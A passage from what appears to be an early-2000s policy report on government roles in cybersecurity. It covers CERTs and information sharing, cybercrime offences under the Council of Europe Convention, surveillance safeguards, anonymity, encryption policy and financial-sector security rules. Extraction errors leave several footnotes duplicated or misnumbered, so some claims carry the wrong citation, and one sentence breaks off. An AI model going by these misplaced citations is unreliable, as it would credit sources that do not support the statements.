Standards: The government is also an important participant in private sector standards setting processes. Standards processes are non-regulatory, voluntary, and consensus-based, but government experts may make important contributions, especially if the government supports its own computer security research.

Awareness, Education, and Capacity-Building: Another major non-regulatory role of the government is to educate the public and work with the private sector to promote awareness of vulnerabilities and

---

[155] See, Smedinghoff, *supra* note ___(39).
[156] Directive 95/46/EC of the European Parliament and of the Council of 24 October 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of such data, Official Journal L 281/31, Nov. 23, 1995, http://europa.eu.int/smartapi/cgi/sga_doc?smartapi!celexapi!prod!CELEXnumdoc&lg=EN&numdoc=31995L0046&model=guichett.
[157] Health Insurance Portability and Accountability Act of 1996, Pub. Law 104-191, http://aspe.hhs.gov/admnsimp/pl104191.htm; Financial Services Modernization Act of 1999, Pub. Law 106-102, Nov. 12, 1999, 15 U.S.C. Section 6801 *et seq.*, http://www4.law.cornell.edu/uscode/15/6801.html; http://www.ftc.gov/privacy/glbact/.
[158] NIST's Computer Security Resource Center (CSRC) publishes information on a broad range of security topics, including cryptographic standards and applications, security testing, security research, system certification and accreditation guidelines, return on security investments, small business computer security, and federal agency security practices. http://csrc.nist.gov/. NIST publications are available at http://csrc.nist.gov/publications/index.html.
[159] National Security Agency, Security Recommendation Guides, http://nsa1.www.conxion.com/.

responses.[160] Special studies and reports of the kind described above are one means of accomplishing this goal. The European Commission has called on Member States to launch public education and awareness campaigns, including mass media and efforts targeted at all stakeholders. Convening of expert bodies and issuance of reports and strategy documents help raise awareness. Education also includes scholarship and human resources development programs. The European Commission has recommended that education systems of Member States should give more emphasis to courses focused on computer security.

Information Sharing: Another important government role is to promote information sharing about computer security vulnerabilities, warnings of new viruses and attacks, and recommendations on solutions, patches, and best practices.[161] The government may fund such information sharing centers, such as the CERT (Computer Emergency Response Team) coordination centers that are being established around the globe. For example, the U.S. CERT at Carnegie Mellon University is a federally funded research and development center that provides assistance in handling computer security incidents and vulnerabilities, publishing security alerts, researching long-term changes in networked systems, and developing security information and training materials.[162] Other countries that have established or are establishing CERT centers include Malaysia, Japan, Australia, and Korea. Mcert is a CERT for small and medium sized enterprises in Germany, created as a public-private partnership by Germany's ICT Association BITKOM, seven industry sponsors and the German Government. Multinational structures are being created to promote information sharing regionally and internationally. In June 2001, the European Commission issued a Communication calling for a strengthening of the CERT system in Europe and better coordination among the CERTs operating in Member States.[163] In February 2003, the Commission took a further step, announcing its intent to establish a Network and Information Security Agency to build on national efforts regarding cyber-security and to serve as a coordinating and advisory entity.[164] APEC has launched an initiative for a regional CERT aimed at providing in-country training to enhance CERT capabilities in developing countries in the region and to develop CERT guidelines.[165] The G8 has created a network of "24x7 contacts" – round-the-clock duty offices at law enforcement agencies to facilitate information sharing and cooperation in criminal investigations of cybercrimes. Non-G8 nations may participate[166].

Alternatively, the government may promote the creation of privately funded, voluntary information sharing systems, such as the Information Sharing and Analysis Centers (ISACs) that are operating in various forms around the globe. For instance, the United States has established industry ISACs for certain sectors (such as the financial services sector, the telecommunications sector, and the electrical power industry), and other countries, such as Canada, Germany, Japan, and the Netherlands, have ISACs as well. The UK is pursuing the WARP Concept (Warning, Advice & Reporting Point), an initiative to establish a 'network' across the UK to

[160] Awareness is the first principle in the OECD's computer security guidelines. Organization for Economic Cooperation and Development, OECD Guidelines for the Security of Information Systems and Networks: Towards a Culture of Security, July 25, 2002, http://www.oecd.org/pdf/M00034000/M00034292.pdf. The G8 has recommended that countries should raise awareness to facilitate stakeholders' understanding of the nature and extent of their critical information infrastructure, and the role each must play in protecting them. In addition, the G8 has recommended that countries conduct training to enhance their response capabilities. Presidents' Summary: Meeting of G8 Ministers of Justice and Home Affairs, Paris, May 5, 2003, http://www.g8.utoronto.ca/justice/justice030505.htm.

[161] Information sharing has been a major themes of most international initiatives, including those of the G8. OAS and APEC. [158] NIST's Computer Security Resource Center (CSRC) publishes information on a broad range of security topics, including cryptographic standards and applications, security testing, security research, system certification and accreditation guidelines, return on security investments, small business computer security, and federal agency security practices. http://csrc.nist.gov/. NIST publications are available at http://csrc.nist.gov/publications/index.html.

[162] National Security Agency, Security Recommendation Guides, http://nsa1.www.conxion.com/.

[163] European Commission, Communication from the Commission to the Council, the European Parliament, the European Economic And Social Committee and the Committee of the Regions - Network and Information Security: Proposal for a European Policy Approach, June 6, 2001, COM(2001) 298 final, http://europa.eu.int/information_society/eeurope/news_library/new_documents/index_en.htm. [161] Information sharing has been a major themes of most international initiatives, including those of the G8. OAS and APEC.

[164] European Commission, Proposal for a Regulation of the European Parliament and of the Council Establishing the European Network and Information Security Agency, Feb. 11, 2003, COM(2003) 63 final, 2003/0032 (COD), http://europa.eu.int/information_society/eeurope/action_plan/safe/documents/nisa_en.pdf.

[165] "Protecting Developing Economies from Cyber Attack – Assistance to Build Regional Cyber-security Preparedness," APEC Media Release, Mar. 18, 2003, http://www.apecsec.org.sg/whatsnew/press/PressRel_ProtectgFromCyberAttack_180303.html.

[166] G8, Meeting of Justice and Interior Ministers - Action Plan, Dec. 10, 1997, http://birmingham.g8summit.gov.uk/prebham/washington.1297.shtml.

provide better and more timely advice and warnings relating to electronic attack, and for receiving incident reports.

The government may also form public-private committees or fora for exchange of security-related information. An example is the U.S. National Security Telecommunications Advisory Committee (NSTAC), which is composed of 30 chief executives representing major communications and network service providers and information technology companies and government officials responsible for national security and emergency communications systems.[167] NSTAC provides industry-based advice to the President on issues and problems related to implementing national security and emergency preparedness communications policy.

Criminal Law

Another way in which the government protects private systems is through the criminal law. International and regional institutions have recommended that every nation, as part of the legal framework promoting trust and confidence in cyberspace, should adopt basic criminal laws against activities that attack the confidentiality, integrity, or availability of computer data and computer systems.[168] The framework of applicable criminal law comprises both substantive as well as procedural law, implicating search and seizure as well as privacy concepts that may have unique application in the cyber context.

The UN was perhaps the first international body to recognize the importance of addressing cybercrime.[169] In December 2000 and January 2002, the UN General Assembly adopted Resolutions 55/63 and 56/121 on Combating the Criminal Misuse of *Information Technologies*.[170] Resolution 55/63 declares that states should review their laws to eliminate "safe havens" for those who carry out cybercrime. Resolution 55/63 recommends, inter alia, that states take appropriate measures to prevent the criminal misuse of information technologies, international cooperation in investigation and enforcement efforts, and the preservation and timely sharing of electronic data and evidence. Resolution 55/63 also recommends educating law enforcement authorities and the general public on cybercrime issues.

Substantive Criminal Law Offenses

There are various ways to conceptualize cybercrimes, and various names exist for specific offenses, but in general, laws addressing cybercrime issues have crystallized around four kinds of activity:

- Data interception: intentional interception, without right, of non-public transmissions of computer data. This covers interception of email of another person, for example, and is aimed at protecting the confidentiality of communications. Some legal frameworks already make it a crime to intercept telephone conversations without legal authorization, for example. This well-known concept in the telecom world could have analogous application in the cyber context.

- Data interference: intentional damage to, deletion, degradation, alteration, or suppression of data in someone else's computer without right. This covers, for example, intentionally sending viruses that delete files, or hacking a computer and changing or deleting data, or hacking a web site and changing its appearance. The element of intent is important to distinguish criminal activity from mere production of defective software or unintentionally forwarding viruses .

- System interference: intentionally causing serious hindrance, without right, to the functioning of a computer system by inputting, transmitting, damaging, deleting, deteriorating, altering, or suppressing computer data. This covers things like denial of service attacks or introducing viruses into a system in ways that interfere with its normal usage. "Serious harm" is an element of this offense that distinguishes criminal activity from other, ordinary online behavior, such as sending one or just a few unsolicited emails.

---

[167] *See* http://www.ncs.gov/NSTAC/attf.html

[168] International bodies recommending adoption of cybercrime laws include the UN, EU, COE, G8, APEC, and OAS. For an extended discussion of the activities and recommendations of these and other international bodies regarding cybercrime, see, Westby Guide, supra note ___.

[169] In 1995, the UN issued under its International Review of Criminal Policy the *United Nations Manual on the Prevention and Control of Computer-Related Crime* (1995) http://www.uncjin.org/Documents/EighthCongress.html.

[170] UN General Assembly, Resolution 55/63, Combating the criminal misuse of information technologies, Dec. 4, 2000, http://www.unodc.org/pdf/crime/a_res_55/res5563e.pdf ; UN General Assembly, Resolution 56/121, *Combating the criminal misuse of information technologies*, Jan. 23, 2002, http://www.unodc.org/pdf/crime/a_res_56/121e.pdf . See also UN Resolution 57/239 (2002).

- Illegal access: intentionally accessing, without right, the computer system of another. It can be thought of as the cyberspace equivalent of trespass. (Looked at another way, illegal access is an offense against the confidentiality of stored data and therefore is analogous to illegal interception, which is an offense against the confidentiality of data in transit.) In some legal systems, the definition of the crime of illegal access is limited to situations in which confidential information (medical or financial information) is taken, copied or viewed or where there is an intent to obtain confidential information or where access is obtained only by defeating security measures.

The Council of Europe has adopted a Convention that addresses these points.[171]

Articles 2-5 of the Council of Europe Convention on Cybercrime address these four basic cybercrimes. However, in the Convention itself these provisions are drafted in broad terms that could cover a wide range of common behavior. The Convention also has an Explanatory Report that aids in interpreting the Convention. Article 2 of the Convention calls upon states to establish as a criminal offense "when committed intentionally, the access to the whole or any part of a computer system *without right*" (emphasis added). On its face, this provision could arguably make it a crime to send an unsolicited email, since the sender of an unsolicited email "accesses" the recipient's computer (or the mail server of the recipient's ISP) without right. Nations following the Therefore it is key in interpreting the Council of Europe Convention on Cybercrime to clarify whether "without right" is meant to include common activities inherent in the Internet. The Explanatory Report states, "legitimate and common activities inherent in the design of networks, or legitimate and common operating or commercial practices should not be criminalized." (Para. 38.)

These would include, for example, sending electronic mail without it having been first solicited by the recipient; accessing a web page, directly or through hypertext links; or using "cookies" or "bots" to collect information. (Para. 46, 48.)[172]

Computer-facilitated Crime

Discussions of computer crime often extend into activities that are not crimes against computers, but are crimes *facilitated* by the use of computers. For example, theft and fraud are crimes in virtually every legal system whose laws were crafted in the "offline" world. But theft and fraud can equally take place in the "on-line" world. Similarly, crimes such as infringement of intellectual property rights or dissemination of child pornography, also are not limited to computer crimes – but they are crimes that may be facilitated by use of a computer. In many cases, existing criminal sanctions apply to offenses committed online. A critical analysis of a multiplicity of factors would need to be taken into account to assess not only whether existing criminal laws apply both online and offline, but also whether special, separate offenses for computer-related crime or crime facilitated by a computer would be necessary.

Articles 7-10 of the Council of Europe Convention on Cybercrime depart from this principle, and reach more broadly, covering crimes involving the use of a computer to engage in conduct that is normally already a crime offline (i.e., forgery, fraud, and the distribution, production or possession of child pornography, and copyright infringement to name a few). Adopting special provisions for computer-facilitated offenses may be unnecessary in some legal systems and might improperly suggest that a crime committed online is worse than the same crime committed offline.[173]

[171] The treaty, ETS no. 185, is online at http://conventions.coe.int/treaty/EN/cadreprincipal.htm along with an extensive Explanatory Report. It is very important that nations looking to the convention as a model also carefully consider the Explanatory Report, which has extensive explanations of the meaning of the treaty's sometimes cryptic provisions. The convention, which has not taken effect as of August 2003, has some positive and some negative elements. The convention is very broad, reaching far beyond computer crime as such. And while it requires signatories to adopt laws giving the government access to computer data (for all crimes) and while it states that such powers must be subject to procedural safeguards protecting privacy, the treaty fails to specify such procedural safeguards. Accordingly, developing countries should be cautious in approaching the Council of Europe convention as a model. A major section of the treaty aims to require governments to cooperate with other countries seeking to search and seize computers, compel disclosure of data stored in computers, and carry out real-time interceptions – in all kinds of criminal cases – in other countries. It also covers extradition for computer crimes as defined under the treaty.

[172] Further point of caution: the Explanatory Report also states that the phrase "without right" may refer to conduct undertaken without contractual authority. This interpretation seems unwise, for it could make violations of a service provider's terms of service into a criminal offense.

[173] That said, child pornography, which is internationally condemned, is easily facilitated by computers and governments should be sure that their laws adequately prohibit the production and dissemination of such material, lest they become havens for its production or online hosting. Likewise, protection of intellectual property is one of the important building blocks of cyberlaw.

Application of basic criminal law concepts

Nations may also want to consider how common concepts of the criminal law such as "aiding and abetting" or "attempt" apply to cybercrime. Thus, if a law has the concept of an attempted offense, then that concept might apply to cybercrime. For example, launching a virus with intent to disrupt service might be a crime under the concept of intent even if the virus didn't work as intended. Similarly, if a nation's law has the concept of aiding and abetting, that might be applied to cyber-crime, such that one who intentionally produces a virus and provides it to another knowing or intending that it will be used to destroy data or interfere with a system may be guilty of data or network interference caused by the virus even if the virus was introduced into a network by someone else.

Privacy Protections

Consideration of cybercrime often leads to questions about the standards under which the government is authorized to obtain access to the electronic communications and computer data that may constitute evidence of cybercrime and other types of crime. Many countries have procedural laws granting the government investigative powers to access information stored in computers. These include judicial orders for the disclosure of stored data and warrants for the immediate search and seizure of computers and computerized data. Many countries also allow real-time interception of communications and the traffic data or transactional data that shows the origin and destination of communications. A major part of the Council of Europe Convention on Cybercrime requires governments to adopt laws on search and seizure of computer evidence, disclosure to governments of computerized records of any kind, and electronic interception of communications – for all kinds of crimes.

Government seizures or compelled disclosures of data stored in computers and government interceptions of communications and traffic data constitute an intrusion on personal privacy and therefore need to be subject to procedural safeguards.[174] As the OECD states in its Guidelines for the Security of Information Systems and Networks, "Security should be implemented in a manner consistent with the values recognized by democratic societies including the freedom to exchange thoughts and ideas, the free flow of information, the confidentiality of information and communication, the appropriate protection of personal information, openness and transparency."[175] The European Commission has stated, "Protection of privacy is a key policy objective in the European Union. It was recognized as a basic right under Article 8 of the European Convention on human rights. Articles 7 and 8 of the Charter of Fundamental Rights of the EU also provide the right to respect for family and private life, home and communications and personal data."[176] Especially in developing and transitional societies, unregulated government surveillance can seriously undermine trust in the Internet.

UN Resolution 55/63 (December 2000) provides that states, as they adopt laws regarding investigative access to communications and computer data, should protect individual freedoms and privacy. In 1990, the Eighth UN Congress on the Prevention of Crime and the Treatment of Offenders issued a series of recommendations concerning the adoption of investigative procedures, evidentiary rules, forfeiture, and international cooperation in cybercrime investigations.[177] In 1995, the UN published its *Manual on the Prevention and Control of Computer-Related Crime*.[178] This extensive document examines a wide range of issues related to crime and technology, including procedural law, substantive criminal law, international cooperation, data protection, security, and privacy.

---

[174] The right to privacy is recognized as a fundamental human right under the Universal Declaration of Human Rights, the International Covenant on Civil and Political Rights, the European Convention on Human Rights, and the American Convention on Human Rights.

[175] Ehttp://www.oecd.org/document/42/0,2340,en_2649_201185_15582250_1_1_1_1,00.html

[176] European Commission, *Communication from the Commission to the Council, the European Parliament, the European Economic And Social Committee and the Committee of the Regions - Network and Information Security: Proposal for a European Policy Approach*, June 6, 2001, COM (2001) 298 final, http://europa.eu.int/information_society/eeurope/news_library/new_documents/index_en.htm.

[177] *Eighth United Nations Congress on the Prevention of Crime and the Treatment of Offenders*, Havana, Aug. 27-Sept. 7, 1990, report prepared by the Secretariat, UN publication, Sales No. E.91.IV.2, chap I. For the text of these recommendations, see United Nations Commission on Crime Prevention and Criminal Justice, Report on the Eighth Session, Apr. 27-May 6, 1999, E/CN.15/1999/12, http://www.un.org/documents/ecosoc/docs/1999/e1999-30.htm.

[178] *UN, International Review of Criminal Policy - United Nations Manual on the Prevention and Control of Computer-Related Crime,* http://www.uncjin.org/Documents/EighthCongress.html.

[179] Another valuable resource is the report of UN Economic and Social Council's Commission on Crime Prevention and Criminal Justice effectively summarizes UN and other international work in the cybercrime and cyber-security area. *Effective measures to prevent and control computer-related crime*, E/CN.15/2002/8, Report of the Secretary-General, United Nations, Economic and Social Council, Commission on Crime Prevention and Criminal Justice, Eleventh Session, Vienna, Apr. 16-25, 2002, http://www.unodc.org/pdf/crime/commissions/11comm/8e.pdf.

Likewise, the Council of Europe Convention on Cybercrime explicitly requires that interceptions of communications and searches and seizures for stored data be conducted pursuant to the privacy principles set forth in the European Convention on Human Rights. Article 15 of the Cybercrime Convention provides:

1. Each Party shall ensure that the establishment, implementation and application of the powers and procedures provided for in this Section are subject to conditions and safeguards provided for under its domestic law, which shall provide for the adequate protection of human rights and liberties, including rights arising pursuant to obligations it has undertaken under the 1950 Council of Europe Convention for the Protection of Human Rights and Fundamental Freedoms…and other applicable international human rights instruments, and which shall incorporate the principle of proportionality.

2. Such conditions and safeguards shall, as appropriate in view of the nature of the power or procedure concerned, inter alia, include judicial or other independent supervision, grounds justifying application, and limitation on the scope and the duration of such power or procedure.

Surveillance Standards

The Council of Europe Convention on Cybercrime itself does not spell out specific surveillance procedures that would comply with the European Convention of Human Rights. Those are found instead in the decisions of the European Court of Human Rights (summarized below), as well as in the surveillance laws of countries like Canada and the United States that have strong traditions of an independent judiciary and protection of privacy. Especially in developing and transitional societies, which may not have a fully defined set of rules for searches and seizure and surveillance in the offline world, it is important to give close attention to the development of strong standards for government surveillance in the digital context.

Under most advanced legal systems, interception of electronic communications is permissible, but only in accordance with clear standards in the law, requiring justification and prior independent approval, which in many legal systems means approval by a judge. Governments addressing interception and data access issues must be sure to address the procedural standards for government access to communications and computer data. An emerging body of international experience provides useful guidance. Based upon developing national and international standards,[180] it is possible to identify the following procedural safeguards regulating the interception of communications:

- The standards for interception are transparent, fully and clearly spelled out in legislation available to the public, with sufficient precision to protect against arbitrary application and so that citizens are aware of the circumstances and conditions under which public authorities are empowered to carry out such surveillance.
- Approval is obtained from an independent official (preferably a judge),[181] based on a written application giving reasons and setting forth facts justifying the intrusion, and the approval should be manifested in written order.
- Surveillance is limited only to the investigation of specified serious offenses.
- Approval is granted only upon a strong factual showing of reason to believe that the target of the search is engaged in criminal conduct.
- Approval is granted only when it is shown that other less intrusive techniques will not suffice.
- Each surveillance order should cover only specifically designated persons or accounts – generalized monitoring is not permitted.
- The rules are technology neutral – all one-to-one communications are treated the same, whether they involve voice, fax, images or data, wire line or wireless, digital or analog.
- The scope and length of time of the interception are limited, and in no event is the surveillance extended longer than is necessary to obtain the needed evidence.

[180] Perhaps the most developed body of international law on communications interception can be found in Europe, where the basic privacy principle in Article 8 of the European Convention of Human Rights has been given greater definition by the European Court of Human Rights (ECHR). The principles outlined here are drawn from the case law of the ECHR. Kopp v. Switzerland, Mar. 25, 1998, 27 EHRR 91; Klass v. Germany, 6 September 1978, 2 EHRR 214; Khan v. U.K., May 12, 2000, Reports of Judgments and Decisions, ECtHR, 2000-V; Halford v. U.K., June 25, 1997, Reports of Judgments and Decisions, ECtHR 1997-III; Huvig v. France, Apr. 24, 1990, 12 EHRR 528; Kruslin v. France, Apr. 24, 1990, 12 EHRR 547.

[181] Klass v. Germany, 6 September 1978, 2 EHRR 214 ("The Court considers that, in a field where abuse is potentially so easy in individual cases and could have such harmful consequences for democratic society as a whole, it is in principle desirable to entrust supervisory control to a judge.").

- The surveillance is conducted in such a way as to reduce the intrusion on privacy to an unavoidable minimum necessary to obtain the needed evidence.
- The enabling legislation describes the use to which seized or intercepted material could be put; information obtained for criminal investigative purposes may not be used for other ends.
- The law specifies procedures for drawing up summary reports for a judge's review and precautions to be taken in order to permit inspection of the recordings by the judge and by the defense.
- In criminal investigations, all those who have been the subject of interception should be notified after the investigation concludes, whether or not charges results.
- Personal redress is provided for violations of the privacy standards.

Many of the same provisions are also applicable to search and seizure orders for computer data.

Data Retention and Other Government Design Mandates

A number of developed countries (including the United States) have imposed design mandates on telephone common carriers (and, in some countries, ISPs), requiring that communications networks be designed to support government surveillance. In addition, some countries have adopted, or are debating the adoption of, laws requiring service providers to retain traffic data on all communications for a specified period of time (a mandate referred to as "data retention"). These mandates have been very controversial and have been criticized for threatening the privacy of citizens and the security of networks and for imposing considerable costs on service providers. A fuller consideration of design mandates for surveillance is beyond the scope of this report. However, it should be noted that the Council of Europe Convention on Cybercrime does not impose design mandates, technical standards, or data retention requirements on service providers. The treaty only establishes procedures for preserving, seizing, or accessing whatever data is otherwise available for business purposes, using whatever current technical capabilities companies may have. It does not require changes in technology or business practices.[182] The European Union in 2002 adopted a directive on privacy in the communications sphere that permits but does not require member countries to adopt data retention requirements.[183]

Anonymity

The Council of Europe Convention on Cybercrime also recognizes another important privacy right: the legitimacy of anonymous communications. The Explanatory Report makes it clear that the convention does not impose on service providers any obligation to keep records of their subscribers. Thus, under the Convention, a service provider would not be required to register identity information of users of prepaid cards for telephone service, nor is it obliged to verify the identity of subscribers or to resist the use of pseudonyms by users of it services.[184] In 2003, the Council of Europe issued a Declaration on Freedom of Communication on the Internet in which it expressly stated, "In order to…enhance the free expression of information and ideas, member states should respect the will of users not to disclose their identity."[185] Likewise, the European Commission, in its 2001 Communication on Creating a Safer Information Society, recognized the value of anonymity, stating, "An increasing variety of authentication mechanisms is required to meet our different needs in the environments in which we interact. In some environments, we may need or wish

---

[182] Articles 20 and 21 of the Council of Europe convention specifically state that the real-time interception laws required under the convention shall empower competent authorities to "compel a service provider, *within its existing technical capability,"* to collect or record, or to co-operate and assist the competent authorities in the collection or recording of, traffic data and communications content. The Explanatory Report states: "The article does not obligate service providers to ensure that they have the technical capability to undertake collections, recordings, co-operation or assistance. It does not require them to acquire or develop new equipment, hire expert support or engage in costly re-configuration of their systems." Para. 221.

[183] Directive 2002/58/EC *of the European Parliament and of the Council of 12 July 2002 concerning the processing of personal data and the protection of privacy in the electronic communications sector (Directive on privacy and electronic communications)*, Article 4(1), Official Journal L 201/37, July 31, 2002, at 37-47 (replacing EU Directive 97/66/EC),
http://europa.eu.int/smartapi/cgi/sga_doc?smartapi!celexapi!prod!CELEXnumdoc&lg=en&numdoc=32002L0058&model=guichett. Also available at http://europa.eu.int/comm/internal_market/privacy/law_en.htm.

[184] Convention, Para. 181.

[185] Declaration on freedom of communication on the Internet (Strasbourg, 28.05.2003)
(Adopted by the Committee of Ministers at the 840th meeting of the Ministers' Deputies)
http://www.coe.int/T/E/Communication_and_Research/Press/News/2003/20030528_declaration.asp

to remain anonymous."[186] Also, in its 2001 Communication on Network and Information Security, the Commission stated, "authentication must also include the possibility for anonymity, as many services do not need to identify the user..."[187]

Encryption

Strong encryption is an important tool used in securing the Internet. As the European Commission noted in 2001, "The use of encryption technologies...[is] becoming indispensable, particularly with the growth in wireless access."[188] Recognizing this, the general trend in national policies regarding cryptography has been to reduce or eliminate rules limiting the import, export, and use of encryption. In recent years, most developed countries, which previously sought to control encryption, have concluded that, on balance, the general availability of encryption will improve security, not interfere with it. The 1997 OECD Guidelines on Cryptography Policy and a 1998 European Commission report expressed strong support for the unrestricted availability of encryption products and services.

Based on these statements, in the late 1990s Canada, Germany, Ireland, and Finland announced national cryptography policies based on the OECD Guidelines, favoring the free use of encryption. France, which had long restricted encryption, reversed that policy in January 1999 and announced that encryption could be used in France without restrictions. In December 1997, Belgium amended its 1994 law to eliminate the provision restricting cryptography. The United States, which had sought to limit use of encryption by limiting trade in cryptographic products and services, lifted almost all restrictions on the export of encryption in 2000.[189]

Regulation and Legislation

In a growing number of countries, policymakers are concluding that market forces alone are not sufficient to ensure adequate mitigation of cyber-security risks. As the European Commission has noted, action by governments is required because the market offers imperfect incentives for security: market prices do not always accurately reflect the costs and benefits of investment in security; often neither providers nor users bear all the consequences of inaction; control over the Internet is dispersed and given the complexity of networks, it may be difficult for users to assess potential dangers. Many of the critical infrastructures heavily dependent on computer systems have a long history of regulation in the public interest – regulation of safety, competition, and environmental impact, among other issues. Increasingly, regulators are adding cyber-security to the list of concerns meriting government attention.

Regulation, however, carries risks. In some respects, the Internet has flourished as a relatively unregulated communications medium. The global trend over the past two decades has been towards deregulation of communications networks generally. Competition and innovation supports development of new services and technologies, drives down prices, and expands access to communications technology. When technology is rapidly changing, government regulation may hinder the adoption of innovative security solutions.

So a key question is: what are the best means to achieve the desired results of improved computer security? By and large, as a fundamental principle, government should not impose technology mandates on private sector operators of critical infrastructures. There is widespread recognition that technology mandates are likely to be ineffective and even counterproductive.

---

[186] European Commission, *Communication from the Commission to the Council, the European Parliament, the Economic and Social Committee and the Committee on the Regions - Creating a Safer Information Society by Improving the Security of Information Infrastructures and Combating Computer-related Crime*, Jan. 26, 2001, COM(20000) 890 final: http://europa.eu.int/ISPO/eif/InternetPoliciesSite/Crime/CrimeCommEN.html.

[187] European Commission, *Communication from the Commission to the Council, the European Parliament, the European Economic And Social Committee and the Committee of the Regions - Network and Information Security: Proposal for a European Policy Approach*, June 6, 2001, COM (2001) 298 final, http://europa.eu.int/information_society/eeurope/news_library/new_documents/index_en.htm.

[188] European Commission, *Communication from the Commission to the Council, the European Parliament, the Economic and Social Committee and the Committee on the Regions - Creating a Safer Information Society by Improving the Security of Information Infrastructures and Combating Computer-related Crime*, Jan. 26, 2001, COM(20000) 890 final, http://europa.eu.int/ISPO/eif/InternetPoliciesSite/Crime/CrimeCommEN.html.

[189] See "Cryptography and Liberty 2000: An International Survey of Encryption Policy," Electronic Privacy Information Center, http://www2.epic.org/reports/crypto2000; *see also* "Commercial Encryption Export Controls," Bureau of Industry and Security, U. S. Dep't of Commerce, http://www.bxa.doc.gov/Encryption/Default.htm.

Instead, one approach is to impose a general requirement to protect security. This approach was taken in Europe, growing out of the concept of privacy protection, where a general duty to protect security is imposed on all entities that collect or process personally identifiable data. Another approach is to focus only on certain economic sectors. The United States for example, in imposing privacy obligations on the financial services and health care industries, also imposed a requirement for companies in those sectors to protect the security of personal data. Singapore has also focused on the financial services sector, but not in the context off privacy protection – Singapore's e-security guidelines for financial services firms grow directly out of security concerns, not privacy concerns. There are also different approaches to translating a general security requirement into specific security steps. One approach for government cyber-security regulation is to address processes, not technologies. Another approach is to develop guidelines. These approaches can be complimentary.

Europe has started by imposing security obligations on all entities that collect and process personal information. Article 17 of the EU Data Protection Directive requires that controllers of personal information take "appropriate technical and organizational measures to protect personal data against accidental or unlawful destruction or accidental loss, alteration, unauthorized disclosure or access, in particular where the processing involves the transmission of data over a network, and against all other unlawful forms of processing."[190] The Directive further states "such measures shall ensure a level of security appropriate to the risks represented by the processing and the nature of the data to be processed." Canada takes a similar approach, requiring in general terms under its Personal Information Protection and Electronic Documents Act that private sector companies take security measures to protect personal information they hold.

The European Union has issued a somewhat more detailed directive specifically addressing obligations regarding the protection of information in the electronic communications industry.[191] Article 4 specifies that a provider of electronic communications service providers must take steps to safeguard the security of "its services, as opposed to personal data, if necessary in conjunction with the provider of the public communications network with respect to network security." Second, providers of publicly available electronic communications must inform subscribers of a particular risk of a breach of security, and "where the risk lies outside the scope of the measures to be taken by the service provider, of any possible remedies, including an indication of the likely costs involved."[192]

How should these general requirements be translated into practice? Singapore offers one model, where the Monetary Authority of Singapore (MAS) has spelled out a comprehensive set of cyber-security recommendations in its Technology Risk Management Guidelines for Financial Institutions.[193] The guidelines are aimed at promoting sound processes in managing technology risks and the implementation of security practices, but they are not mandatory. Instead, as the guidelines state, "MAS intends to incorporate these guidelines into supervisory expectations for the purpose of assessing the adequacy of technology risk controls and security measures adopted by financial institutions. Each institution can expect that MAS will take a keen interest as to how and what extent it has achieved compliance with these guidelines…Financial institutions are encouraged to use their best endeavors to ensure compliance with these guidelines."[194] The guidelines are careful to state that they do not affect and should not be regarded as a statement of the standard of care that institutions owe to their customers.[195] An appendix lists security practices for financial institutions, stating that financial institutions "should" adopt the practices.

---

[190] *Directive 95/46/EC of the European Parliament and of the Council of 24 October 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of such data*, Official Journal L 281/31, Nov. 23, 1995, http://europa.eu.int/smartapi/cgi/sga_doc?smartapi!celexapi!prod!CELEXnumdoc&lg=EN&numdoc=31995L0046&model=guichett.

[191] *Directive 2002/58/EC of the European Parliament and of the Council of 12 July 2002 concerning the processing of personal data and the protection of privacy in the electronic communications sector*, Article 4(1), Official Journal L 201/37, July 31, 2002, at 37-47, http://europa.eu.int/smartapi/cgi/sga_doc?smartapi!celexapi!prod!CELEXnumdoc&lg=en&numdoc=32002L0058&model=guichett. Also available at http://europa.eu.int/comm/internal_market/privacy/law_en.htm.

[192] Id. at Article 4(2).

[193] *Technology Risk Management Guidelines for Financial Institutions*, Monetary Authority of Singapore, Draft Nov. 11, 2002, http://www.mas.gov.sg/display.cfm?id=94D063CD-5EB6-4636-82B5A725F9F6E9F5

[194] TId., para. 7.0.1, p. 11.

[195] Id. at p. 25.

The practices include the following guidelines:

- Systems software and firewalls should be configured to the highest security settings consistent with the level of protection required, keeping abreast of enhancements, updates and patches recommended by system vendors;
- All default passwords for new systems should be changed immediately upon installation as they are mostly known by intruders at large;
- Firewalls should be installed between internal and external networks as well as between geographically separate sites; and
- Anti-virus software should be implemented.[196]

The United States has taken a different approach, focusing on processes, not technological practices. Thus, the Financial Services Modernization Act of 1999 (known popularly by its lead sponsors in the Congress as the Gramm-Leach-Bliley Act) recognized that "each financial institution has an affirmative and continuing obligation to respect the privacy of its customers and to protect the security and confidentiality of those customers' nonpublic personal information."[197] Under the Act, regulators of financial institution were required to issue regulations for administrative, technical, and physical safeguards for information security.[198] The crucial point is this: the regulations that were issued do not say what the technical components of a safeguards program must be. Instead the regulations leave it up to the businesses to decide what specific security measures are best for them.

Under the Act, the rules issued by the regulatory agencies for the financial services industry require banks to adopt security plans. The rules do not state what technical measures those plans must contain. The security program must:

- Identify reasonably foreseeable internal and external threats that could result in unauthorized disclosure, misuse, alteration, or destruction of customer information or customer information systems;
- Assess the likelihood and potential damage of these threats, taking into consideration the sensitivity of customer information; and
- Assess the sufficiency of policies, procedures, customer information systems, and other arrangements in place to control risk.[199]

Information security programs must be designed to control risks, commensurate with the sensitivity of the information and the complexity and scope of activities. The regulations require that certain fairly broad categories of security measures must be considered and, if appropriate, adopted:

- access controls on customer information systems (authentication and authorization);
- access restrictions at physical locations;
- encryption of electronic customer information;
- change management procedures;
- dual control procedures (segregation of duties and background checks) for employees with access to customer information;
- intrusion monitoring systems;
- intrusion response programs; and
- measures to protect against destruction, loss, or damage of customer information.

Additionally, under the regulations, staff must be trained in the implementation of the security program. Regular testing of the key controls, systems, and procedures must take place, with appropriate adjustments made to account for relevant changes in technology, the sensitivity of customer information, internal or external threats to information, and changing business

PART FOUR

